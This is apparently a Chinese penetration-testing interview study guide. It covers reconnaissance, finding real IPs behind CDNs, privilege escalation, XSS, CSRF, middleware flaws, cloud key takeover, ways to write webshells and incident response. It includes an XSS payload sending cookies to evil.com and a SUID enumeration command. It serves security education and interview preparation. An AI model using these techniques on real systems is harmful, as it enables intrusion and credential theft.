渗透面经收集
参阅:
- hvv面试知识点扫盲 (opens new window)
- 【面试】HW面试资料整理 (opens new window)
- 2021蓝队HW | 初级面试简单总结 (opens new window)
- HW面试经验分享 | 某安全厂商护网二面 (opens new window)
- hw面试常见中间件漏洞 (opens new window)
- 渗透测试岗位面试题多人实战大汇总 (opens new window)
# 渗透面经收集
本文收集了渗透测试相关的面试经验,方便查阅。
# 1、假如给你一个网站你怎么去渗透?信息收集
信息收集
首先看是什么类型的网站,针对不同类型的网站有不同的信息搜集方案,如大型企业网站可以用天眼查,启信宝等查询法人股份等信息,小型网站可以查询使用了哪类建站系统
1.whois查詢,获取注册者邮箱姓名电话等。
2.查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
3.查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
4.查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,訫脏滴血,mysql,ftp,ssh弱口令等。
5.扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
6.google hack进一步探测网站的信息,后台,敏感文件
7.查看这个网站都有哪些功能,针对不同的功能可以实现不同的漏洞利用
#
# whois查詢主要查的是什么?
1.域名信息
2.注册商
3.联系人
4.联系邮箱
5.网站创建时间
6.网站过期时间
7.DNS信息
8.网站状态
拓展:什么是whois?
whois可以理解为域名数据库搜索引擎
# owasp top 10
A1:2017 – 注入
A2:2017 – 失效的身份验证
A3:2017 – 敏感数据暴露
A4:2017 – XML 外部实体
A5:2017 – 失效的访问控制
A6:2017 – 安全配置错误
A7:2017 – 跨站脚本
A8:2017 – 不安全的反序列化
A9:2017 – 使用含有已知漏洞的组件
A10:2017 – 不足的日志记录和监控
# 常见服务及端口
服务 | 端口号 |
---|---|
HTTP | 80 |
HTTPS | 443 |
FTP | 21 |
SSH | 22 |
Telnet | 23 |
SMTP | 25 |
DNS | 53 |
SMB | 445 |
MySQL | 3306 |
RDP | 3389 |
PostgreSQL | 5432 |
Oracle | 1521 |
Redis | 6379 |
MongoDB | 27017 |
MS SQL Server | 1433 |
Apache Tomcat | 8080 |
# xxe漏洞
# 判断站点是否使用CDN
多地ping测试,itdog、ChinaZ等工具,查看响应IP是否一致
nslookup查询DNS记录,查看CNAME是否指向CDN域名(如cloudflare、阿里云等)
http头部检查:查看响应头中是否有CDN特征(如X-Cache、Server等)
ip属地
# 多ip一定是CDN吗?
不一定,多IP可能是负载均衡、集群或多机房部署。CDN通常会有响应头特征。
# 绕过CDN找到⽬标站点真实IP
子域名探测:主站使用CDN时,子站(如mail.example.com)可能未防护。工具:Sublist3r、Amass,或通过微步在线(子域名查询功能) 历史DNS记录
邮件服务器溯源:注册/找回密码等功能触发的邮件,检查邮件头Received字段,可能泄露真实IP
国内外节点请求:ITdog、ChinaZ,部分CDN未覆盖偏远地区,使用冷门国家代理(如罗马尼亚、智利)或工具:ipip.net的CDN检测
查询dns解析记录:DNSDB、微步在线
网络空间引擎:搜索特征(如网站标题、证书HASH):
Shodan:http.favicon.hash:123456
FOFA:title="Example Login"
HTTPS证书关联:通过证书HASH匹配真实IP,工具:censys.io(搜索parsed.names:example.com)
敏感文件泄露:扫描phpinfo.php、test.html等遗留文件,可能包含SERVER_ADDR字段
全网扫描(谨慎使用):Zmap、Masscan扫描全网80/443端口,匹配网站特征(仅限授权测试)
辅助验证方法 绑定HOSTS测试:将疑似IP与域名绑定到本地HOSTS文件,访问验证是否直达源站
CDN配置疏漏:直接访问example.com(非www.example.com),部分配置可能遗漏
# 正向代理和反向代理的区别
正向代理:客户端通过代理服务器访问目标服务器,隐藏客户端IP,常用于访问限制或匿名浏览。
场景:防火墙限制了用户访问某些网站,用户可以通过正向代理服务器访问被限制的网站,代理服务器代替用户发送请求并返回响应。
反向代理:客户端直接访问目标服务器,代理服务器代替目标服务器响应请求,隐藏目标服务器IP,常用于负载均衡和安全防护。
场景:cdn就是反向代理,用户访问cdn节点,cdn节点代替源站响应请求,隐藏源站IP。
# Windows 提权类型与方法
类型
纵向提权:低权限角色获得高权限角色的权限 横向提权:获取同级别角色的权
方法
系统内核溢出漏洞提权 数据库提权 错误的系统配置提权 组策略首选项提权 WEB 中间件漏洞提权 DLL 劫持提权 滥用高危权限令牌提权 第三方软件 / 服务提权等
# Linux 提权类型与方法
Linux 内核漏洞提权 SUID 提权
find / -perm -u=s -type f 2>/dev/null
环境变量劫持高权限程序 sudoer(用户组)配置文件错误提权 pkexec 本地权限提升漏洞 (CVE-2021-4034)
# xss类型
反射型:攻击者构造一个包含恶意脚本的URL,诱使用户点击。服务器后端将恶意脚本“反射”回用户的浏览器并执行
存储型:恶意脚本被存储在服务器上(如数据库、文件系统),当用户访问时,脚本从服务器加载并执行
DOM型:攻击者通过修改页面的DOM结构来注入恶意脚本,脚本在用户浏览器中执行,通常不涉及服务器端,而是通过JavaScript直接操作页面元素
# 反射型和Dom型的区别
反射型依赖服务器后端,Dom型完全在客户端执行。反射型通常通过URL参数传递恶意脚本,而DOM型通过JavaScript直接修改页面结构。
# xss怎么窃取cookie
<img src="http://evil.com/log.gif?c='+document.cookie">
# xss怎么防御
HttpOnly Cookie:浏览器禁止 JS 访问cookie
输入过滤、编码(HTML实体转义)
# CSRF原理
CSRF(Cross-Site Request Forgery,跨站请求伪造)的原理是诱导用户在已登录状态下,向受信任站点发送非本意的请求,从而执行攻击者设定的操作,例如访问特定的api实现删除用户账户、修改用户密码、转账、下单等等。
# CSRF防御
CSRF Token:服务端生成一个随机token,嵌入在页面的form或请求中。提交时必须带上token,服务器验证。
Referer/Origin 校验 :服务器验证请求来源。
双重验证机制:对敏感操作进行二次确认。
使用POST请求:CSRF攻击通常使用GET请求,使用POST请求可以降低风险。
# nmap常用参数
-v:增加输出的详细程度,显示扫描过程和结果。
-h:显示帮助信息,提供所有可用参数的说明。
-p:指定要扫描的端口,可以指定单个端口、端口范围或协议。例如:-p 22,80,443 或 -p 1-1000 或 -p U:53,T:21-25。
-Pn:跳过主机发现,直接对目标主机进行扫描,适用于目标主机可能禁用ping的情况。
-A:启用操作系统检测、版本检测、脚本扫描和跟踪路由,提供更全面的扫描结果。
-T<0-5>:设置扫描速度,数字越大,扫描速度越快,但也可能增加被防火墙拦截的风险。
-O:启用操作系统检测,用于识别目标主机的操作系统类型。
-sV:进行服务版本检测,识别目标主机上运行的服务及其版本信息。
-sS:TCP SYN 扫描,速度快,隐蔽性好,常用于防火墙环境。
-sT:TCP connect 扫描,使用系统调用建立完整的TCP 连接,适用于防火墙环境。
-sU:UDP 扫描,用于探测UDP 端口。
-sP:Ping 扫描,用于发现存活主机,速度快。
-sL:列表扫描,仅列出目标主机,不进行探测。
-n:不进行DNS 反向解析,提高扫描速度。
-R:对目标主机进行反向DNS 解析。
-iL
# 常见的网络服务器容器
IIS、Apache、nginx、Lighttpd、Tomcat、weblogic
# 目前已知哪些版本的容器有解析漏洞?
IIS 6.0—— /xx.asp/xx.jpg
IIS 7.0—— 默认Fast-cgi开启,直接在图片地址后面输入/.php就会将图片当做php解析
Nginx——版本小于0.8.37 利用方法和IIS7.0一样
Apache—— 上传文件名为test.php.x1.x2.x3, Apache是从右往左判断
Lighttpd—— XX.jpg/xx.php
# 遇到WebLogic的网站容器,你会测什么漏洞?
- ssrf内网探测
- 未授权访问控制台部署webshell
- 弱密码部署webshell、任意文件读取
- 反序列化漏洞
# thinkphp漏洞有了解吗
- thinkphp 2.x/3.x 远程代码执行 -- preg_replace使用/e参数,可以直接执行php代码
- thinkphp 5.x 远程代码执行 -- 多个反序列化调用危险函数,导致命令执行
- thinkphp 5.x sql注入 -- 默认debug模式开启,错误的sql语句会暴露出数据库信息
- thinkphp 3.x 文件包含 -- 文件包含日志getshell
可以在github上下载thinkphp综合利用工具,直接检测所有可能的漏洞,直接利用。
# oss 云存储漏洞有了解吗
信息收集,检查是否存在泄露的密钥信息,access_key_id、access_key_secret等,如果有,可以直接接管存储桶或服务器等等
- 接管存储桶
可以直接尝试使用阿里云存储桶浏览器接管存储桶
- 接管服务器
如果用户的密钥没有遵循最小化原则并且账户下存在ECS实例,可以直接使用密钥接管服务器
- 存储桶遍历
如果存储桶没有开启访问控制,可能会存在存储桶遍历漏洞,可以直接下载存储桶中的文件
- 任意文件上传、覆盖
如果在配置存储桶时,管理员错误的将存储桶权限,配置为可写,这将会导致攻击者可上传任意文件到存储桶中,或覆盖已经存在的文件。如果可以上传html,可以xss调用、劫持主页
# 怎么向服务器写入webshell
- 文件上传漏洞:如果存在文件上传功能,可以尝试上传一个webshell文件(如php、asp等),并通过访问该文件执行代码。
- sql注入:如果存在sql注入漏洞,可以尝试sql语句的into outfile/dumpfile等语句,将webshell写入服务器指定目录。
- 命令执行漏洞:如果存在命令执行漏洞,可以通过系统命令将webshell写入服务器。
- 文件包含漏洞:如果存在文件包含漏洞,可以尝试包含日志、session等文件,将webshell写入服务器。
# 判断出站点的CMS有什么用
- 漏洞利用:不同的CMS可能存在已知的漏洞或安全问题,可以针对性地进行漏洞利用。
- 针对性攻击:如果了解目标cms,可以针对性攻击,提高效率。例如,某些CMS使用默认密码。
# php危险函数
eval,system,exec,shell_exec,passthru,assert,create_function,file_get_contents,file_put_contents,include,require,highlight_file,show_source,phpinfo
# 如何判断站点是否使用了shiro框架
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
# fastjson 1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)
攻击者可以通过构造含有特定setter方法的payload,利用fastjson库自动调用这个方法并传入恶意参数来实现攻击。此类攻击通常被称为fastjson反序列化远程代码执行(RCE)漏洞
# sql注入防护
- 输入验证:对用户输入进行严格的验证和过滤,确保只允许合法的输入格式。
- 参数化查询:使用参数化查询,将用户输入的参数作为查询参数而不是拼接到SQL语句中。
# 序列化、反序列化的区别
序列化是把对象转换为字节流或字符串的过程,反序列化是将字节流或字符串转换回对象的过程。
# TCP与UDP协议区别
tcp面向连接,udp无连接,tcp可靠传输,udp不可靠传输,tcp有流量控制和拥塞控制,udp没有。
# 应急响应流程
准备、识别、包含、根除、恢复和事后总结
建立应急响应机制和工具,为事件发生前做好组织、技术和流程上的准备。
通过监控和日志分析及时发现安全事件并准确判断其性质和影响范围。
快速隔离受影响资产,防止威胁扩散,保护系统的其他部分。
清除攻击者植入的后门和恶意代码,修复漏洞和配置错误。
恢复业务系统正常运行,并确保系统安全无后门后再上线。
复盘整个事件,查缺补漏,更新安全策略并提升团队响应能力。